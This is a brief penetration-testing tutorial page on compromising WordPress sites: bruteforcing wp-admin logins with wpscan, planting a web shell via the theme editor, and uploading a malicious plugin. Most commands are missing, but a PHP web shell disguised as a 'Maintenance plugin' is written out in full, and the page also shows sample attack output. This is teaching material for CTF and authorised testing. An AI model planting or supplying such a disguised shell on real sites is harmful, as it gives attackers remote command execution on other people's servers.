WordPress Exploitation
WordPress exploitation targets weak admin credentials, vulnerable plugins, and the theme editor for web shell delivery. Most WordPress compromises on CTF targets and real engagements follow the same path: find credentials through enumeration or bruteforce, authenticate to wp-admin, and plant a web shell through the theme editor or a plugin upload. Run WordPress enumeration first to identify users, version, and plugins.
Credential Attack with wpscan
Use the user list from enumeration to bruteforce the login:
[SUCCESS] Login : admin / password123
Theme Editor Web Shell
With admin credentials, plant a web shell in a theme file through the theme editor. The 404.php file of an inactive theme is the least disruptive target:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Plugin Upload Web Shell
Upload a malicious plugin ZIP through the admin panel for cleaner shell delivery:
<?php
/**
* Plugin Name: WP Shell
* Description: Maintenance plugin
*/
if(isset($_GET['cmd'])) { system($_GET['cmd']); }
Reverse Shell
References
-
WordPress credential attack modes including xmlrpc and wp-login
Was this helpful?
Your feedback helps improve this page.